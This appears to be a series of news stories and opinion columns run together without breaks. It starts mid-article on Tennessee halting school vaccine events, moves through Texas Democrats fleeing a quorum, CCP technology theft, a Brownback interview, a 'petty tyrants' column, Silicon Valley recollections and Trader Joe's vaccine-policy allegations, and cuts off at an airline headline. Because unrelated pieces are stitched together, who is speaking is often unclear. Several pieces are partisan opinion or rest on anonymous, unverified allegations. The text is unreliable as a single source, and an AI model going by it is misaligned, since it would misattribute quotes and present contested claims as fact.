I am deeply saddened for the people of Tennessee, who will continue to become sick and die from this vaccine-preventable disease because they choose to listen to the nonsense spread by ignorant people. At this point, you are going to get vaccinated or you are going to get sick.

Studies show that people who have gotten COVID-19 and recovered enjoy some immunity from the virus, something that Fiscus and a number of officials often neglect to mention.

According to the Tennessean, the state health department has halted all COVID-19 vaccine events on school property and plans to stop sending vaccine reminders to teenagers. The paper cited an internal report it had obtained.

Such notices could be potentially interpreted as a solicitation to minors, the report stated.

State Rep. Scott Cepicky, a Republican, claimed at a hearing last month that the department was utilizing peer pressure to get more kids to get a COVID-19 vaccine.

When you have advertisements like this with a young girl with a patch on her arm all smiling, we know how impressionable our young people are and wanting to fit in in life, Cepicky said while holding up the ad, WATN-TV reported.

Dr. Lisa Piercey, head of the department, responded that getting a vaccine is a personal choice.

Under no circumstance is the department encouraging children to seek out vaccination without parental consent, Piercey said, noting that only eight children older than 14 in the state had received a shot without a parent or guardian present, including three of Pierceys children.
Texas Lawmakers OK Arrest Warrants for AWOL Democrats

Texas Republican lawmakers on Tuesday authorized tracking down and arresting if necessary over 50 House Democrats who fled Mondays special session for Washington, D.C., seeking to block passage of a sweeping election reforms bill.

Members, the sergeant-at-arms and the officers appointed by him are directed to send for all absentees whose attendance is not excused for the purpose of securing and maintaining their attendanceunder warrant of arrest, if necessary, Texas House Speaker Dade Phelan, a Republican, said from the floor. Any member who wishes to leave the hall must have the written permission of the Speaker of the House.

Of the 67 House Democrats, 63 were absent at Mondays special legislative session, denying Republicans the quorum they needed for the bill to pass. A number of Democrats reportedly had left the state in private jets bound for Washington.

The remaining lawmakers voted 76-4 along party lines to direct state law enforcement to find and return absent Democrats so they can fulfill their legislative duties.

As soon as they come back [to] the state of Texas, they will be arrested, they will be cabined inside the Texas Capitol until they get their job done, said Texas Governor Greg Abbott. Everybody who has a job should show up to do that job.

On Tuesday, members of the Texas House Democratic Caucus stood in front of the nations capitol singing, We will overcome someday, with some decrying the Republican legislation as retrogression.

The bill proposes, among other things, new ID requirements for absentee ballots and a ban on drive-through 24-hour voting.

In addition, the legislation seeks to strengthen the role of partisan poll watchers and prohibit unsolicited mailing of ballot applications unless requested by voters.

Many Democrats have argued that the bill would make it harder for young people, people of color, and disabled people to vote.

Texas state Rep. Sefronia Thompson, speaking before a group of fellow Democrats in Washington on Tuesday, likened her situation to being held hostage by Republicans.

Im up here because I dont plan to be a sitting person in that legislature. Im not going to be sittingIm not going to be a hostage, Thompson said in a video clip posted by RNC Research.
The CCPs Theft of Technology Is the True Cause of Deterioration of US-China Relations

Commentary

Two years ago, U.S.-China relations started to deteriorate significantly. The Chinese Communist Party (CCP) has always blamed former President Donald Trump for the deterioration, especially on topics such as the cold war and U.S.-China friendship. There is one issue, however, that the CCP has never mentioned: the dispute over China stealing U.S. technology secrets.

Intellectual property (IP) theft is the one topic that the CCP is most unwilling to talk about, and it is the main issue that highlights the complexity in U.S.-China relations.

The Core Issue Is the CCPs Theft of Technology Secrets, Not the Trade War

China has a long history of stealing U.S. technology secrets. This is not a competition between powers as President Joe Biden suggests, but a deliberate and serious violation of U.S. intellectual property rights (IPR) by the CCP. This was evident and worsened during the Obama era. Beijing even incorporated such thefts, including the Thousand Talents Program, into its strategies for Chinas economic rise and world dominance.

Trump responded to these thefts and signed a memorandum on March 22, 2018, accusing the Chinese regime of unauthorized access to intellectual property, trade secrets, or confidential business information, authorizing the U.S. trade representative to implement tariffs under section 301 of the Trade Act of 1974 to address Chinas unfair trade practices. Subsequently, Trump placed the U.S.-China economic and trade dispute on the negotiating table, with trade deficits and IPR being the focus of Washington in bargaining with Beijing.

Shipping containers are seen on a Cosco Shipping vessel at the Port of Long Beach in Long Beach, Calif., on Aug. 23, 2019. (Frederic J. Brown/AFP/Getty Images)

The Trump administrations core concern in the economic and trade negotiations was not simply the trade deficit. It wanted to use trade issues as leverage to force the CCP to stop infringing on U.S. IPR, and tariffs were only a means to complement the negotiations.

The CCP Triggers Cold War With US

At the beginning of the 2018 U.S.-China trade talks, the CCP said it could negotiate with the United States on both trade and IPR, but in fact, it was unwilling to budge on either, and Beijing was coaxing and pestering the Trump administration at the negotiating table.

During the lengthy negotiations, the CCP negated all the accusations entirely. Obviously, the CCP would rather bear high U.S. tariffs than actually end its IPR infringement activities; at the same time, the CCP has been confining the U.S.-China trade negotiations to trade as much as possible, hoping to use trade concessions to divert U.S. attention from the CCPs theft of technology secrets.

For the CCP, the U.S.-China trade talks could only be a trade war, and if the talks went beyond trade and investment issues, they would have touched Chinas red line, which was the issue of technological espionage. For the Trump administration, theft of IPR must be dealt with and violators must be prosecuted. As a result, no progress could be made in the negotiations between the two sides.

In early 2019, as the economic and trade outlook for the United States and China was uncertain, some foreign companies began to pull out of China, and Chinas economic situation was deteriorating. The Communist regime, fearing that it would lose the initiative, took three military threats against the United States in 2019.

These three actions were: in January, the Chinese naval fleet went to Midway Island for drills, claiming to target Pearl Harbor; in March, the CCP announced that it had taken over most of the international waters in the South China Sea and established a deep-sea fortress for Chinese nuclear submarines that could threaten the United States; and in June, the CCP announced that it had completed the deployment of BeiDou Navigation Satellite System (BDS) for nuclear missile navigation, which rivals the U.S. GPS system.

A boy looks at the BeiDou Navigation Satellite System at an exhibition marking the 40th anniversary of Chinas reform and opening up at the National Museum of China in Beijing on Feb. 27, 2019. (Wang Zhao/AFP via Getty Images)

Regardless of what plans the CCP might have had and whether they anticipated the outbreak of the cold war or underestimated the Trump administrations determination to defend U.S. national security, the CCPs military threat undoubtedly strained Sino-U.S. relations. This ignited the cold war and changed the course economic and trade negotiations. It is no longer possible to return to the old track of cooperation and development between the two countries.

Whole-nation Theft

Since the 1980s, the developed countries, represented by the United States, have gradually changed to an economy in which growth is driven by IP and innovation. Under such circumstances, protecting the countrys IPRs from theft is not only the basic prerequisite for maintaining employment and corporate profits but also the only way to protect the wealth of IPRs. Hence, Chinas attempt to seize the IPRs of others is tantamount to robbery of IP revenues (profits) of developed countries and their IP wealth. This has led to economic and trade negotiations between the United States and China that focus on IP theft.

Chinese theft of technology can be roughly divided into two parts: the sale of large quantities of counterfeit goods and the outright theft of technology secrets. The frequent export of counterfeit products steals profits from genuine product manufacturers and is the subject of litigation.

The damage to the U.S. companies is huge as they suffer from loss of revenue and will not have enough funding for their R&D investment, and possibly face long-term bankruptcy from Chinese counterfeits.

According to the Report of the Commission on the Theft of American Intellectual Property (also known as the IP Commission Report), the annual cost to the U.S. economy continues to exceed $225 billion in [CCPs] counterfeit goods, pirated software, and theft of trade secrets and could be as high as $600 billion, of which, the economic impact of trade secret theft on the U.S. economy in 2015 is estimated to be between $180 billion and $540 billion.

China does not just steal the most American IP of any country; it targets the sectors at the forefront of innovation that could create the best jobs for Americans in the 21st century, the report says.

FBI Director Christopher Wray, at the Council on Foreign Relations in Washington on April 26, 2019, described Chinas IP theft as a societal approach and said that the regime did it in any way it can, from a wide array of businesses, universities, and organizations. He pointed out that the CCPs intelligence services strategically use every tool at their disposalincluding state-owned businesses, students, researchers, and ostensibly private companiesto systematically steal information and intellectual property, and that the FBI has China-related economic espionage investigations in nearly all of its 56 field offices and in nearly every industry.

Its noteworthy that on April 26, 2019, Beijings official overseas propaganda outlet DW News reported on Wrays remarks, translating his phrase societal approach into a Chinese phrase quan min jie dao, which literally means whole-nation theft. It is yet unclear whether the medias intent was to provoke anger or stir nationalistic sentiment among overseas Chinese against the United States or to be complacent about the success of the theft.

Chinas Economy and Power Built on Plagiarism

When the CCP demonstrates its military power, it constantly brags about how large its naval fleet is. Can the regimes technological research and development capabilities really support the expansion of its military and the rise of its economy?

FBI material showing five Chinese military officers wanted on charges of economic espionage and trade secret theft are shown at the Justice Department in Washington on May 19, 2014. (Charles Dharapak/AP Photo)

The proportion of the value and revenue of a countrys own enterprises IP rights in the enterprises assets and profits shows the strength of the countrys technology. The larger the proportion, the stronger the technological strength the country has.

According to Nikkei, 39 percent of global net profits for fiscal 2018 were expected to be generated by U.S. companies, a significant increase as compared to the 25 percent share of global net profits ten years ago.

The reason for the tremendous growth is that, through concentrated investment in digital industries, the United States has developed an industrial structure in which profits are generated by intangible assets such as IP.

A survey of assets held by U.S. companies shows that intangible assets such as patents and trademark rights reached $4.4 trillion, more than twice the level of 10 years ago, accounting for 26 percent of total assets of the United States. In 2017, they surpassed tangible assets such as factories and stores.

The intangible assets of Japanese companies were about 50 trillion yen, accounting for 6.4 percent of total assets.

Nikkei did not say what this percentage is in China; most likely, it is only a fraction of what it is in Japan.

Is it not possible for Chinese enterprises to take the road of independent R&D? To develop technology independently is not that easy. The question is not whether the regime propagates on this, but whether Chinese enterprises have the original impetus for technology research and development. The only reliable guarantee of IP revenue is a system to maintain the originality, and the most crucial element is the security of the innovation results.

If there is no system to protect the safety of innovation results, and any innovation may be arbitrarily plagiarized by other enterprises, then who is willing to invest a lot in R&D and end up with no return on the investment?

What China lacks is a system to ensure the safety of innovations, and it is a common practice of Chinese enterprises to plagiarize for profit. Therefore, plagiarism is not only a consistent practice of the CCP during its honeymoon period with the United States, but also a consistent practice of Chinese companies in China.

Recently, Biden has been seeking a meeting with Xi Jinping, for which the issues of the CCPs theft of technology secrets and its military threats to the United States have been suppressed to pave the way for the U.S.-China summit talks.

Although Chinese spies in the United States are not as active as they once were, they have not ceased their activities, and U.S. technology secrets continue to be exported to China. This long history of technology theft has created a chain of interests in the United States, and has also created vested interests groups associated with this chain that often criticize FBI investigations and court decisions in the name of academic freedom and international research cooperation.

The Chinese regimes theft of U.S. technology and military threat should not be taken lightly by the Biden administration. Why do so many U.S. media outlets and experts avoid or skirt around the issue of technology and economic espionage? This is no doubt a cause for concern for the American public.

Cheng Xiaonong is a scholar of Chinas politics and economy based in New Jersey. Cheng was a policy researcher and aide to former Chinese Communist Party leader Zhao Ziyang. He also served as chief editor of Modern China Studies.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
Sam Brownback, then-United States Ambassador-at-Large for International Religious Freedom, at the Ministerial to Advance Religious Freedom at the Department of State in Washington on July 16, 2019. (File/Samira Bouaou/The Epoch Times)

The Chinese Regime Is In Its Waning Days: Former US Ambassador Brownback

WASHINGTONBeijing is showing a sign of weakness with its escalating war with faith, says Sam Brownback, former U.S. Ambassador-at-Large for international religious freedom.

Its a sign of a regime on its last legs, Brownback told The Epoch Times at the three-day International Religious Freedom Summit in Washington. Its gotten harsher, not more open. Its gotten more brutal, not more liberating. Its taken on tactics of bullying rather than open cooperation.

By contrast, a confident regime openly acknowledges its flaws rather than going after its critics, Brownback said on July 13.

The Chinese Communist Partys (CCP) increased harshness and brutality, as well as the pervasive high-tech surveillance, he said, are all indications of a regime thats in its waning days.

Thats not the way a confident government moves forward.

Increasingly, countries around the world that once looked the other way for fear of offending the regime are becoming more vocal about Beijings human rights abuses, the former ambassador said, noting that the trend began following the Trump administrations toughened stance toward the regime.

In recent months, the United States and other countries have collectively rebuked the CCP for its repression in Xinjiang and Hong Kong. Meanwhile, pressure is building for a diplomatic boycott of the 2022 Winter Olympics in Beijing in light of the Partys treatment of Chinese citizens.

Theres only so long you can abuse your partners and friends before they say, I am not going to put up with this anymore, he said, pointing to the string of countries that blocked Huawei, a Chinese telecoms firm that the United States has designated as a national security threat.

Even in China, the CCPs desire for control is likely backfiring, said Johnnie Moore, a former commissioner with the U.S. Commission on International Religious Freedom.

They need to change their course, he told The Epoch Times. That Moore was sanctioned by the Chinese regimethe 51st target in recent months by his accountagain is a sign of the regimes weakness, he said.

How can I do to hurt the Communist Party of China? Im just a small business owner, he said.

Speakers at the summit include former Secretary of State Mike Pompeo and current State Department head Anthony Blinken, along with a number of Congress members, human rights activists, and survivors of religious persecution.

Pompeo on July 14 spoke of the U.S. declaration of the repression against Uyghurs in Xinjiang as a genocide made in the last days of the Trump administration, which has since been replicated by a growing number of U.S. allies.

There is no right more fundamental for society, he said of religious freedom.

We always say never again, each of us does that. But when any country including the United States tolerates tyranny, history will repeat itself, Pompeo said.

Less than a week away from the 22nd anniversary of the start of the regimes persecution against faith group Falun Gong, Brownback had a message for adherents: Dont give up the fight.

The regime in Beijing has deployed some of their most egregious diabolical tactics on Falun Gong, horrific tactics that are medieval at best, he said.

The ongoing campaign waged against Falun Gong adherents, a group that advocates peace and goodwill, and the Partys intent to crush them with bayonets and bullets and torture, speaks to the paranoia of the Chinese Communist Party and the communist leaders depravity, Rep. Chris Smith (R-N.J.) told The Epoch Times.

Chinese leader Xi Jinping is guilty of genocide and crimes against humanity, including against the Falun Gong, he said.

Tragic as the persecution is, Brownback believes that hope is around the corner.

They are not forgotten, he said. The Chinese Communist Party may be at war with faith, but it is a war they will not win.

The history of mankind is strewn with regimes and governments that persecute people of faith.  In the near term, the government can inflict a lot of pain. They can do a lot of persecuting, but in the long term, they never win, he said. The spirit is stronger than the flesh.
An above-ground section of Line 5 at Enbridge's Mackinaw City pump station in Michigan. The state of Michigan has told Enbridge it must shut down the pipeline by May 12. (AP Photo/John Flesher)

The Increasing Aggressiveness of Petty Tyrants

Commentary

We seem to have come to the point in the United States where its all politics all of the time. Thats not literally true, of course, but it seems as if political tensions and conflicts obtrude on daily life with increasing frequency. Its hard to get away from it.

Having written in the past about Americans traditional love for the simple joy of being left alone, today were overrun with zealots who aggressively push their agenda at every opportunity. They relish getting into our faces and going out of their way to exceed the normal boundaries of the offices and positions they occupy.

Whos to blame? Thats largely a matter of ones political perspective. Conservatives such as myself see in progressives an overwhelming sense of self-righteousness that breeds a sense that theyre justified, even entitled, to try to compel the rest of us to think as they do and support the same policy objectives. From sweeping messianic goals such as saving the world from an (imaginary) imminent climate catastrophe, down through every lesser goal of progressive utopia and conformity, the lefts actions are nothing, if not heavy-handed.

Progressives, on the other hand, view Americans who dont share their worldview and arent on board with their agenda as some combination of ignorant, unenlightened, retrograde, immoral, and selfish. They view those with opposing viewpoints as creeps who need to be bludgeoned into cooperation, since they so pathetically lack the good sense to conform to progressive orthodoxy.

The following exhibits are some of the ways in which progressives are going overboard to steamroll their opponents. Lets start with several cases in which progressive officeholders are so eager to assert their rightness and the other sides wrongness that they egregiously exceed the proper limits of their official powers.

Exhibit A

The California state legislature has acted to refuse reimbursement for travel to states with policies with which California legislators disagree.

The primary objection of the California politicos appears to be differences of policy on LGBTQ issues. North Carolina is in their doghouse for holding to a traditional policy, whereby individuals born male are expected to use bathrooms and locker rooms designated for males, with the same policy applying to females. I understand the need to accommodate individuals who may identify their gender differently than the traditional way, but I dont think that North Carolinians who want to preserve modesty are creeps. Nor do I think it right to judge and condemn the state of North Carolina for trying to find a modus operandi that doesnt disrespect and discomfit a large number of their citizens.

Just as the California legislators would want others to respect their jurisdiction, so they should respect their counterparts in other states as they seek policies that work for them and the people they represent.

Does the California legislature also refuse to reimburse those who travel to communist China? There, you have a government that may or may not accommodate LGBTQ concerns, but is well-known for suppressing self-determination in Hong Kong, placing Uyghurs in concentration camps, and harvesting organs from prisoners of conscience. In addition, I would suspect that there are more cases of Chinese businesses stealing intellectual property from Californians than there are of, say, Floridians doing the same.

With its peculiarly selective travel bans, the California legislature seems to be straining at gnats and swallowing camels.

Exhibit B

A few U.S. senators, most particularly Sheldon Whitehouse (D-R.I.), have openly mocked the constitutional separation of powers by trying to intimidate Supreme Court justices into rubber-stamping progressive policy goals. Whitehouse and his cronies have made bald threats to pack the Supreme Court with liberal justices if the current court doesnt issue liberal rulings.

Senate Majority Leader Chuck Schumer (D-N.Y.) went so far as to openly threaten Justices Neil Gorsuch and Brett Kavanaugh, using such intemperate language as, You will pay the price, and You wont know what hit you. This is thug talkgangster stuffnot a dignified, reasoned discussion about the proper role of the Supreme Court in our constitutional order.

The fact that such tactics dont embarrass Democrats is revealing and worrisome. Ask yourself: If Senate progressives are this thuggish now, how unrestrained will they be if they attain clear-cut ideological majorities in all three branches of the federal government?

Exhibit C

Two months ago, Michigan Gov. Gretchen Whitmer, in her zeal to redirect the U.S. economy away from fossil fuels to renewable energy, exceeded her authority as governor in a spectacularly flagrant way: She ignored the rule of law and attempted to usurp the prerogative of the federal government when she unilaterally ordered Enbridge Inc., a Canadian company, to summarily cease transporting fossil fuels under the Great Lakes. Enbridge has been doing so safely for decades under the terms of a formal treaty between Canada and the United States.

The overzealous governor is the poster child for members of the self-righteous political class. That class adds insult to the injury of their overreaching by living their own personal lives as if they are above the laws they impose on the little people under their jurisdiction.

Whitmer has shown such contempt for representative government on a repeated basis. She ignored her own COVID-19 guidelines on a trip to Florida, took a family trip to northern Michigan after publicly saying that people who dont live there shouldnt travel there for a holiday, and didnt wear a mask at a large restaurant gathering, despite her own edict to that effect. You would think that progressives would disavow Whitmers double standard, but apparently, theyre so sure that theyre close to achieving permanent power that they arent bothering to try to improve the optics.

The aggressiveness of progressivestheir willingness to arrogate power to themselves and run roughshod over the half of U.S. residents who disagree with themisnt, of course, confined to those holding political office. Whether its high-tech censoring dissident viewpoints; teachers unions making explicit their intention to cram critical race theory down our childrens throats and support the communist-oriented Howard Zinn slant on U.S. history; woke activists trying to end the careers of people who worked with or for President Donald Trump; or cowardly mobs lawlessly defacing, desecrating, and destroying statues, these and numerous other incidents indicate that many on the left have no interest in dialog, no tolerance for the perspectives and values of others, no respect for democratic processes, and no desire to keep our civil discourse cordial and free.

Their actions demonstrate that they want the power to tell us what to do and think and that many would rather grind our faces in it than reason with us.

I hope cooler heads will prevail. We really dont want to go down the road of fanaticism, where people are flirting with such awful ideas as putting Republicans children in enlightenment camps, as advocated for by a former PBS attorney, or sending the rich to the guillotine, as one of Bernie Sanderss groupies has fulminated.

Those of you in the progressive camp who approve, whether tacitly or openly, of the aggressive tactics mentioned in this article should consider two points.

First, by repeatedly ratcheting up the temperature, you run the risk of things getting out of control and making daily life miserable, not just for partisans on both sides, but for the many Americans who just want to get on with their lives. Second, if you manage to achieve the political hegemony that you crave so intensely, dont assume that those at the top will do what you want them to do and that they care about you.

Those are the two most commonand lethalmistakes made by those who support radical movements. You assume that the leaders share your values, but youll find out, much to your dismay, that the daily reality theyll bring is a far cry from the promised utopia.

A prediction: If the petty tyrants in our midst dont rein in their aggressive tactics, pressures will build until theres a violent reaction. Thats exactly the outcome that the hardcore sociopathic revolutionaries out there want. Dont let them dupe you. It wont be worth it.

Mark Hendrickson, an economist, recently retired from the faculty of Grove City College, where he remains a fellow for economic and social policy at the Institute for Faith and Freedom.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
The Silicon Valley Dream and What Went Wrong (Part II)

Commentary

(This article is part two of a three-part series. Part I can be found here.)

Military Roots to Public-Focused

Silicon Valley was created in the Second World War to help the U.S. Army win the war. The government funded companies such as Fairchild Semiconductor. Berkeley, with its Lawrence Livermore National Laboratory, was tasked with making an atomic bomb. People from Stanford were tasked to figure out how to make transistors, chips, and radars. HP and many other companies pitched in to help America win the war.

Government investment in Silicon Valley essentially formed a network between the West and East Coasts. After World War II, everybody redirected their technology and knowledge toward building good things for the general public.

During the 1980s and 1990s, companies started to become more independent from the government. This new independence created an anti-government sentiment among many companies.

When I arrived in Silicon Valley, it was perfect timing because the development of computers was huge. First the mainframes, then the minicomputers, and later on the personal computers started to gain an influx of interest.

Silicon Valley experienced exponential growth because of Intel, HP, and Sun Microsystems.

Sun Microsystems is one of the companies I worked at. I designed chips, so I was in the Silicon Valley designing silicon. I also worked at Silicon Graphics, where I consulted with companies such as Broadcom that worked on communications.

I was very lucky; I started a couple of companies. The very first one, Bill Gates wanted to buy and made me an insulting offer, to which I said no.

Then he kind of said: Hey, you dont sell to me, Ill make it part of the OS and youre dead.

I told him, I dont think so Bill, because if you make it part of the OS, youll have to pay royalties and you wont.

I was fortunate to also interact with Steve Jobs, another rude person. By the way, in my view, Steve Jobs is the Donald Trump of high tech: same personality, rude, abrasive, but extremely efficient in what he was doing, and demanding respect. People idolized him.

Thats the Silicon Valley I love and know. However, slowly, the marketeers and people who were only interested in money figured out, why make a chip, or build something very expensive, when we can, like Google for example, monetize relevance. They realized that people want to be the first one when you do a search, to be relevant. Companies would pay a lot of money to be on that relevant list.

I was fortunate enough to meet some of the founders of Google. At one point Sergey Brin, one of the cofounders, lived on the same street as me. One day, both of us were walking our dogs, and my dog started barking at his dog, and I was afraid that he was going to sue me. It was a small village; everyone talked to each other. His kids went to the same school as my kids for a while, along with many other famous people.

At a certain point, Sergey Brin and Larry Page and Googles founding team intended to Do no harm. This model is what doctors swear by, but then charge an arm and a leg for their services. Do no harm sounds great theoretically, but practically, in my opinion, its not good.

As long as these companies know you well enough so they can sell real data about you, they can direct their products to you in an advertisement that shows up when youre in the weakest moment of your life.

Thats what they do. Now, is it good? No, not in my opinion, and there are quite a few others who are saying, no, this is not good. Are they making money? Yes, hand over fist. Are they trying to do bad on purpose? I dont think so, but intention versus result is not the same.

The Future of Silicon Valley

California is beautiful and Silicon Valley is still an amazing place, but the future of the Valley in 2030 years from now depends on the people. It depends on what happens when people figure out and start caring that they are the product.

When peoples private pictures show up on some website or when Epstein gets taken down by a MeToo movement, then people start caring.

Yet, in the current day, Google is presenting you and me an amazing offer, right? We use Google Maps to navigate where we need to go. Google offers us free email, free Google Maps, free pictures, and many other things. These are very useful products, but thats why its so addictive.

However, the free part is that we are unknowingly and legally, actually yes, signing that we agree to the companies accessing our information, because otherwise we cannot use these products. Even if you object to it, youre left out of the gate, so you have no choice.

This is what monopolies are supposed to not do, but thats how it works. Financially these companies are doing extremely well.

I dont know in the long run that the Do no harm mantra will survive. Its clearly not working for Facebook and Twitter, and I dont think its working for Google either.

I dont know if its going to be five years or fifty years before this gets solved. What is for sure is that human progress solves these things in time.

The thing is that many people are happy with the current environment. Many people are unwilling to stand up against it. Jeff Bezos owns the Washington Post and nobody will say anything negative about him. The same is true when Steve Jobss wife, Laurene Powell Jobs, owns The Atlantic. Because of all the money that they throw in and all the deals that they are doing with politicians, there wont be regulations, not in this environment.

Maybe if Donald Trump had stayed in power, or maybe when he returns, hell be angry enough that he will do the right things probably because this time he will say, hey, this needs to be stopped. Maybe, I dont know.

Ultimately, the benefit you get from Facebook is that they show you things that you are actually interested in because they know you.

The same with Google. It takes you from one place to another, shows you the weather, and all kinds of very useful information. These are companies doing their best to maximize their profit. Thats what they do. Thats what it is. When will it change? I dont know.

Silicon Valley brought together some of the brightest geniuses from around the world. At some point, they can hopefully say profit is profit, but there is a do not cross line.

One day, these giant companies can hopefully find their morality.

George Haber is a serial entrepreneur, marketing guru, and strategist. He is an active angel investor and board member of several public and private companies, a frequently quoted speaker at national and international conferences, and one of the key people behind Microsoft Xbox. In 1996, his first Silicon Valley company was a pioneer in MPEG-1 and MPEG-2 technology and created the worlds first DVD software that allowed a DVD to be played on a computer.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
Trader Joes Told Workers Vaccinations Are Mandatory, Former Employee Says

A former employee has alleged that specialty grocery store chain Trader Joes told its employees last week that they must be vaccinated for COVID-19 or face demotion or dismissal.

Trader Joes corporate office in Monrovia, California has not responded to multiple inquiries.

The former employee, who asked not to be identified, told The Epoch Times that several Trader Joes employees in Southern California have told her theyre afraid of losing their jobs if they dont get a vaccine against COVID-19.

I have friends and family who work in the company, and they are terrified, the source said.

They are forcing their managers first, said the source. The captains are the main managers in each store. They are told that if they do not get vaccinated by July 16, they have to step down.

One was fired, one quit over this. Theyre being forced, the source said.

The original Trader Joes grocery store in Pasadena, Calif., on Feb. 27, 2020. (Chris Pizzello/AP Photo)

Policy Changes

Former Trader Joes crew member Andrew Barrett told The Epoch Times that managers at a Portland store pressured him to walk off the job on June 30, the day Oregon Gov. Kate Brown lifted the state-imposed mask mandate.

He showed up maskless for his 6 a.m. shift that Wednesday and was immediately confronted by one of his bosses just after he clocked for work, he said.

When he was told to put on his mask, Barrett refused and was asked to leave the store, he said.

Barrett kept working until a store captain was called in to work early that morning.

My general manager came into the box [the fridge] with another manager and he told me how this is Trader Joes policy, and the policy is that if I [couldnt] show them right then and there that I had my double doses of vaccinations that I was not allowed to work, Barrett said. That was the morning I got fired before I even saw a customers face.

Its not clear whether Barrett officially quit or was fired, but he said he walked out of the store less than 1.5 hours into his shift.

It definitely is very hostile for people who have chosen not to get vaccinated, he said. They wanted me to quit, for sure.

Before June 30, customersvaccinated or nothad to wear masks. Unvaccinated employees also had to wear masks, but vaccinated employees were allowed to go maskless before the store opened in the morning and after it closed at night, Barrett said.

After June 30, vaccinated employees and customers were allowed to go maskless, but unvaccinated employees were ordered to wear masks at all times, he said.

They were discriminating against people, obviously, who they knew didnt turn in vaccination cards, which was only maybe four or five of us at that point, he said.

Yet, if he chose to shop at the store after hours, Barrett could do so without a mask, he said.

In a recent statement on the companys website, Trader Joes said, [W]e encourage customers to follow the guidance of health officials, including, as appropriate, CDC guidelines that advise customers who are fully vaccinated are not required to wear masks while shopping.

The company also told CNN Business that Trader Joes employees would not ask for proof of vaccination from customers.

However, since the outset of the pandemic, Trader Joes policy had always been to follow the state-mandated guidelines, Barrett claimed.

I wore my mask every single day. I never complained about it publicly or out loud to management, nothing like that. Ive never had a single bad review, he said. Ive worked hard for them.

Barrett told the manager that employees had been assured by Trader Joes management that the store would reopen as the general public when the governor lifted the mask mandate, but that Trader Joes had reneged on its promise.

I said it shouldnt be this way. It shouldnt be where were discriminated againstfour people in the store out of 100, he said.

In January, the company granted Barrett two weeks paid leave because there was COVID in my household. When he went back to work, Barrett said everyone at the store knew he had recovered from COVID, but that management claimed there were zero cases.

They were flat out lying to the customers and to the crew members claiming that they were COVID-free the entire time COVID was happening, he alleged.

Barrett said he knows that at least three other workers at the store got COVID-19.

What Trader Joes is doing is not OK with me, Barrett said. Since leaving the company, Barrett has shared his views on social media.

Though he expected a backlash, only two of about 600 comments were negative towards him, he said

I just want more people to be able to have a voice and stand up for themselves, Barrett said.

Company Culture

Trader Joes has given incentives to its employees to get the COVID-19 vaccine, Barrett said, since workers were given paid leave to go get their shots.

They paid people to go get their vaccines, he said.

He said store employees have followed people around the store telling customers to pull their masks up over their noses.

In one case a woman was ordered to leave the store because her mask was deemed unacceptable by some staff.

They cornered her in my store. They approached her and they said, Maam, your mask is unacceptable. We need to give you a new one. And she said No, thank you. Im OK. This is fine for me, and they pressured her again. They were very rude. I saw the whole thing happen.

Trader Joes managers and crew members also encouraged staff to participate in Black Lives Matter (BLM) and Antifa protests in Portland, Barrett said.

They even paid for food and housing for a Trader Joes employee and covered for her missing work so she could go to the protests, he said.

Eventually, the activist employee became more militant and was arrested on a felony charge before the store fired her, he claimed.

At the same time, some employees were told they could not wear pro-Trump clothing in the store.

Barrett, 33, considers himself an independent-minded, moderate conservative who believes strongly in critical thinking. Until the last election, he was a registered Democrat, he said.

Not anymore, Barrett said. I want to be able to think about things for myself.

Barrett said he still has many close relationships at the store and is hoping Trader Joes changes its requirements.

Im not trying to bring down this big, bad empire. Im asking for a policy change, he said, explaining that he is opposed to dividing employees into groups of vaccinated or unvaccinated.

Dont separate the two. Thats all I care about.

Barrett said Trader Joes pays its workers well and provides amazing health benefits and retirement plans, but has used that leverage to intrude into the personal life choices of its employees.

While sharing his story on social media, he encouraged others to also consider speaking out.

I guess Im writing this for the people who are afraid of this very thing. Afraid to be put in a corner for their beliefs, for their choices no matter how right or wrong they are to others. Afraid to step out in faith for their convictions. Times are hard right now, and they can easily become harder for anyone who feels an overwhelming sense of fear of whats to come, Barrett wrote on Instagram.

Step out. Be you. Be bold. Dont stand for whats wrong. Your convictions are yours for a reason. Not everyone will understand, and thats OK, he wrote.

Gag Orders

According to the unnamed source, a Trader Joes employee in Southern California told her in a text that no one will talk to the media because they are too scared.

This company finds things out and we are all under gag orders by signing a contract that we wont speak to media and they tie the noose around us with  [talking about] integrity. They dont have integrity by shaming us with the [vaccination policy] but they can spin anything into a fireable reason under us breaking the integrity code, the employee wrote in the text.

The source said many workers are afraid to not get the vaccine because they dont want to be called stupid right wingers, anti-vaxxers or asked if they are QAnon conspiracy theorists.

No, I actually just have common sense. There are so many levels why people dont want to talk about it because theyre labeled. Its horrible.

National Scene

BLEXIT founder and conservative firebrand Candace Owens said shes received a lot of messages from people saying their employers are forcing them to get the jab. She encouraged employees at any company who feel they are being coerced to contact an employment lawyer and document everything.

Do not quit your job. Wait for them to fire you, she said in a recent video on Facebook.

Threatening someones job to get a vaccine is coercion which goes against the concept of informed consent regarding medical ethics, Owens claimed.

She also said employees should be sure to ask their employer, If I have an adverse reaction to this [vaccine], what is the policy? Are you guys liable for this? Are you going to take care of my family if something happens to me?

Meanwhile, President Joe Biden and his administration have touted a door-to-door vaccination campaign to encourage more Americans to get the shots.

Now we need to go to community-by-community, neighborhood-by-neighborhood, and oftentimes, door-to-doorliterally knocking on doorsto get help to the remaining people, who havent been vaccinated, Biden said July 6.

White House press secretary Jen Psaki criticized South Carolina Gov. Henry McMaster for trying to block a door-to-door campaign to boost the vaccination rate in the state.

The failure to provide accurate public health information including the efficacy of vaccines and the accessibility of them to people across the country, including South Carolina, is literally killing people, Psaki said on July 9.

Vaccines for COVID-19 have not been fully approved by the Food and Drug Administration (FDA) but have been authorized for emergency use.

According to the Center for Disease Control and Prevention, (CDC) COVID-19 vaccines are safe and effective.

The CDC reports on its website that the vaccines met the  FDAs rigorous scientific standards for safety, effectiveness, and manufacturing quality needed to support emergency use authorization (EUA).

The FDA is authorized under federal law to allow EUAs when there are no adequate and approved available options, and at this time, the FDA cannot wait for all the evidence needed for full FDA approval, according to a recent informational video released by the FDA.
Holiday travelers check in at the United Airlines ticket counter at Terminal 1 in O'Hare International Airport in Chicago on Dec. 21, 2013. (Nam Y. Huh/AP Photo)

United Airlines Plans to Buy 100 Small Electric Planes for Regional Flights

By Lauren Zumbach

From Chicago Tribune

United Airlines and one of its regional carriers each plan to buy up to 100 small electric planes that could be used on short-haul United flights.

